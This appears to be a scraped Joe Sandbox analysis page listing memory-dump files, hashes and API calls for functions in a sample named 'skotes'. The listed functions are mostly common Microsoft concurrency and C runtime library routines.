Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: iy
API String ID: 1182035702-1789661967
Opcode ID: 2f48fe8bd9d083e1fccbbf0bf728291f06e1647d3d76f156ab5b0400f9d8234b
Instruction ID: c066ca8b139cacf72a06a382cfa244139c4842e0c12ef431efd9cc83bb34a557
Opcode Fuzzy Hash: 2f48fe8bd9d083e1fccbbf0bf728291f06e1647d3d76f156ab5b0400f9d8234b
Instruction Fuzzy Hash: D6218370C10215DADF78DFA4E8496EEB7F1FF15360F100A2EE051A61D1E7795A44CB51

Function 007A78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007A7903

Part of subcall function 007A5CB8: __EH_prolog3_catch.LIBCMT ref: 007A5CBF
Part of subcall function 007A5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007A5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007A792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007A7936

Part of subcall function 007A5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 007A5D70
Part of subcall function 007A5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 007A5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 007A7982
Concurrency::location::_Assign.LIBCMT ref: 007A79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 007A79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007A79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 007A79ED

Part of subcall function 007A691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 007A6942
Part of subcall function 007A691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 007A6965

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 9af66c616a16321ebd9cf97a83ae86bebecd485026ca1819f69eb1048f85309a
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 5A31C331B08255AACF1AAB784C967FFB7B59FC7300F0443AAD495D7242DA2C6D4AC391

Function 007C4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007C4C98
__alloca_probe_16.LIBCMT ref: 007C4D5E
__freea.LIBCMT ref: 007C4DCA

Part of subcall function 007BB04B: RtlAllocateHeap.NTDLL(00000000,7D8541EC,?,?,0079D3FC,7D8541EC,?,00797A8B,?,?,?,?,?,?,00787465,?), ref: 007BB07E

__freea.LIBCMT ref: 007C4DD3
__freea.LIBCMT ref: 007C4DF6

Strings

Z{,m{, xrefs: 007C4C26

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Z{,m{
API String ID: 1423051803-3440029403
Opcode ID: 2798c9b2de51ab84ef0c87288c477962b84cc9ab656523bd9b1e212ea9e0c075
Instruction ID: 8aecb23c907c5f8b45928fb226fb18e46dc1f7d10e48b21bf13f54f87d6fbc25
Opcode Fuzzy Hash: 2798c9b2de51ab84ef0c87288c477962b84cc9ab656523bd9b1e212ea9e0c075
Instruction Fuzzy Hash: F551C072600206ABEF31AE64DC55FFB3BA9EF84760F15012DFE05A7151EB78DC1086A0

Function 007ADD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 007ADD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 007ADDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 007ADE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 007ADE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 007ADE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 007ADE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 007ADE74

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: ffd80b03f5c4f4505d5d0af0e2768900257562306d471dc939505869ece106c0
Instruction ID: ad5742dde6ea3db53f4e27ed282066098c50a59a48e70d9b14db3a3a69d7e634
Opcode Fuzzy Hash: ffd80b03f5c4f4505d5d0af0e2768900257562306d471dc939505869ece106c0
Instruction Fuzzy Hash: 7E41B030A08244DACF24FBB084597EC77A16F93304F1446A9E8426F6C3DB3C8E04CB62

Function 007AE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 007AE7D7

Part of subcall function 007AE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 007AE577
Part of subcall function 007AE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 007AE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007AE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 007AE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 007AE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007AE879
Concurrency::location::_Assign.LIBCMT ref: 007AE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007AE8B5

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: cc37943117baa7e37393a6dddb4fd97e2a7189c980d0e1734f5182af479d03ff
Instruction ID: f0eb223d7508535a376e2631861f5ff077bc6851d1230eeddb001839d69cd793
Opcode Fuzzy Hash: cc37943117baa7e37393a6dddb4fd97e2a7189c980d0e1734f5182af479d03ff
Instruction Fuzzy Hash: 35411B75A00204DFCF05EF64C895BADB7B5FF89310F1481A9DD459B382DB38A941CBA1

Function 00796E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

